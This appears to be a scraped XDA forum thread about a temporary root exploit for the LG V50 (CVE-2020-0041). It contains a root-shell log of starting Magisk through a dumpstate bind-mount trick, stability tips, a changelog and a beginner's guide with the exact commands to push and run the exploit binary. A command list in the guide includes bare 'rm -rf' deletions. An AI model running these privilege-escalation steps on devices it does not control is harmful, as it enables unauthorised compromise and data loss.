    + chmod 755 /data/adb/post-fs-data.d
    + mkdir -p /data/adb/service.d
    + chmod 755 /data/adb/service.d
    + chcon -R -h u:object_r:rootfs:s0 /sbin/.magisk
    + chcon u:object_r:magisk_file:s0 /sbin/.magisk/busybox/busybox
    + /sbin/magisk --daemon
    client: launching new main daemon process
    + pidof magiskd
    + MP=14148 
    + '[' -z 14148 ']'
    + >/sbin/.magisk/escalate 
    + echo 14148
    + '[' -e /sbin/.magisk/escalate ']'
    + sleep 1
    + '[' -e /sbin/.magisk/escalate ']'
    root_by_cve-2020-0041:/data/local/tmp # ./magisk-start.sh -3                                                                                                                                                     
    + FRESH=false 
    + '[' -3 '=' --fresh ']'
    + '[' ! -e /data/adb/magisk/busybox ']'
    + STAGE=3 
    + '[' 3 '=' 2 ']'
    + >/sbin/.magisk/magiskd 
    + echo -e '#!/system/bin/sh\n/sbin/magisk --daemon'
    + chmod 755 /sbin/.magisk/magiskd
    + chcon u:object_r:dumpstate_exec:s0 /sbin/.magisk/magiskd
    + getprop init.svc.dumpstate
    + SVC='' 
    + timeout=10 
    + '[' 10 -gt 0 ']'
    + stop dumpstate
    + killall -9 magiskd
    + stop dumpstate
    + mount -o bind /sbin/.magisk/magiskd /system/bin/dumpstate
    + start dumpstate
    + timeout=10 
    + '[' 10 -le 0 ']'
    + pidof magiskd
    + MP=14165 
    + '[' -n 14165 ']'
    + break
    + stop dumpstate
    + sleep 1
    + umount /system/bin/dumpstate
    + rm -f /sbin/.magisk/magiskd
    + '[' '' '=' running ']'
    + rm -f /dev/.magisk_unblock
    + /sbin/magisk --post-fs-data
    + timeout=10 
    + '[' -e /dev/.magisk_unblock -o 10 -le 0 ']'
    + sleep 1
    + timeout=9 
    + '[' -e /dev/.magisk_unblock -o 9 -le 0 ']'
    + /sbin/magisk --service
    + sleep 1
    + /sbin/magisk --boot-complete
    + chmod 751 /sbin
    root_by_cve-2020-0041:/data/local/tmp # id                                                                                                                                                                       
    uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:magisk:s0
    root_by_cve-2020-0041:/data/local/tmp # uname -a
    Linux localhost 4.14.117-perf #1 SMP PREEMPT Tue Mar 10 18:44:38 KST 2020 aarch64
    root_by_cve-2020-0041:/data/local/tmp # getenforce                                                                                                                                                               
    Permissive

    Now you can exit the temp root shell and use 'su' to get a root shell controlled by magisk manager or allow other apps that need root as asking for root permission now works.
    You can even re-enable selinux like this from 'adb shell':
    Code:
    su -c 'setenforce 1'
    The magisk setup from exploit including working permission asking has been fully developed by me, it uses some novel techniques to overcome the limitations caused by magisk run from a temp root instead of being integrated in boot process as a service.

    TIPS FOR BETTER STABILITY OF THE EXPLOIT
    The exploit works based on use after free, that means it depends on state of memory heap and how it changes during exploit time.
    That means there is some portion of unpredictability and a chance that something else is overwritten than hoped for by shaping the heap.
    So to get best results, one should stop anything that could run in background, like:
    • set airplain mode, turn off wifi and bluetooth so there is no data connection at all
    • set "Stay awake" to ON while charging (i.e. using adb shell) in developer options
    • disable auto updates of system and apps
    • debloat your system so useless apps do not run in background
    • reboot your phone having all the above
    • wait two minutes after boot up with phone unlocked, screen on connected to PC via usb cable having 'adb shell' already active (checking with 'uptime' command)
    • start the exploit
    • after getting root shell and succesfuly starting magisk, do not forget to properly exit the temp root shell by use of 'exit' command two times, so the 'adb shell' with the exploit is ended with the rest of clean up
    CHANGELOG
    • 2020-05-11 : Initial release (V500N20m-testJ) supporting V500N20m all Korean variants
    • 2020-05-16 : multiple targets supported (v50g8-root)
    • 2020-05-20 : v50g8-dump tool to dump kernel space memory available in G8 thread
    • 2020-05-24 : implemented support for magisk start from the exploit (v50g8-mroot), added support for V50 Sprint with 2020-01-01 security patch level
    • 2020-06-10 : fixed problem when V50 rebooted/crashed soon after obtaining temp root shell, released as v50g8-mroot2
    • 2020-06-23 : hopefully stability improved even more with V50 allowing stable magisk start from temp root, released as v50g8-mroot3
    6
    Received 150 USD to my paypal from Kevin Borges with following comment:
    KanBorges said:
    Thank you so much for your work. This is all the money in the bounty I set up on Gofundme. com. My username in XDA is @KanBorges . Again, thank you! Hopefully you can get twrp/magisk soon.
    Thank you and all other contributors for the donations.
    I've updated the first post (not only the donations list but added some more clarifications too).

    Please note, as discussed since beginning with @Inerent, only the temp root exploit has been supposed to be implemented by me.
    There is however available an engineering booloader, that may eventually allow to unlock bootloader after flashing from temp root.
    This needs to be tested first and can involve some risks to brick the phone.
    I do not own any LG phone (and do not even want one), so I am not doing that, sorry.

    But I've already checked few things regarding the engineering bootloader and I can conclude, that it could be compatible in the sense that it most likely would not brick the device.
    The reason I see that comparing stock firmware ABL image and the eng bootloader (aka ABL) seems that both use the same signing root certificate and they both have identical OU info in the signature certificate:
    Code:
            OU=07 0001 SHA256,
            OU=06 0000 MODEL_ID,
            OU=05 00000000 SW_SIZE,
            OU=04 0031 OEM_ID,
            OU=03 0000000000000001 DEBUG,
            OU=02 000A50E100310000 HW_ID,
            OU=01 000000000000001C SW_ID
    If it would work with android 10 is another question though.
    Please find attached source for split utility, to get some parts of the image likely to start with a signature certificate.
    Those parts then can be converted to text form representation of the certificate via following command for example:
    Code:
    openssl x509 -in LUN4_abl_a_COM3.img-001238 -inform der -text -noout > LUN4_abl_a_COM3.img-001238.txt
    5
    Ok guys, OK!!!!
    Here is a guide made for noobs for Root (download, extract and copy root file inside platform tools folder) and Backup in it, using Adb Platform Tools

    Root and Backup V50 Korea

    1. Download LG V50 Root (extract it and copy inside platform tools folder), Platform Tools ADB and LG USB Drivers 4.4.2 and install it
    https://xdaforums.com/v50-thinq/development/lg-v50-temp-root-exploit-via-cve-2020-t4098077
    https://www.mediafire.com/file/mu78ydkoalgfzyd/platform_tools_adb.zip/file
    http://tool.lime.gdms.lge.com/dn/downloader.dev?fileKey=UW00120120425

    2. Connect USB then Enable Developer Options and USB Debugging and enable Stay Awake Screen

    3. Turn off wifi, data, bluetooth restart phone, unlock screen and let it 1 minute to load all processes

    4. Run Power shell command from inside platform tools folder (SHIFT+right mouse and open power shell here) and type cmd and hit enter

    5. Run command - adb devices - a pupup should appear on your phone - tap Allow and Remember it on your phone!

    6. Run one by one the following commands

    adb push V500N20m-testJ /data/local/tmp
    adb shell
    cd /data/local/tmp
    chmod 755 ./V500N20m-testJ
    ./V500N20m-testJ

    7. When rooted you will have this lines in terminal
    [*] Launching privileged shell
    root_by_cve-2020-0041:/data/local/tmp #

    If root is not achieved or phone restarts by itself repeat from step 3

    Backup Important non KDZ Stuff like IMEI

    1. Download this file backupselected.sh and move it inside your adb program This is already pushed to Platform Tools folder so ignore it
    https://www.mediafire.com/file/gh00t76n4ctc061/backupselected.sh/file


    2. Run this command from cmd
    adb push backupselected.sh /data/local/tmp

    3. Obtain Temp Root and from root shell run these
    chmod -R 777 /data/local/tmp
    ./backupselected.sh

    4. Backup will be saved in Download folder on your phone

    Usefull Commands - Maybe @j4nn can help us with more usefull commands
    rm *.* - delete all files
    rm -rf (folder name) - delete that folder
    adb push (folder or file name) /data/local/tmp - copy that folder or file name to that /data/local/tmp address
    cd /data/local/tmp - then - pm install (appname) - installs it
    4
    @quantan, most likely not, due to dm-verity/AVB 2.0 - it is a temp root...
    Magisk (with possibly limited functionality) may be eventually started from the exploit, but it seems not to work yet...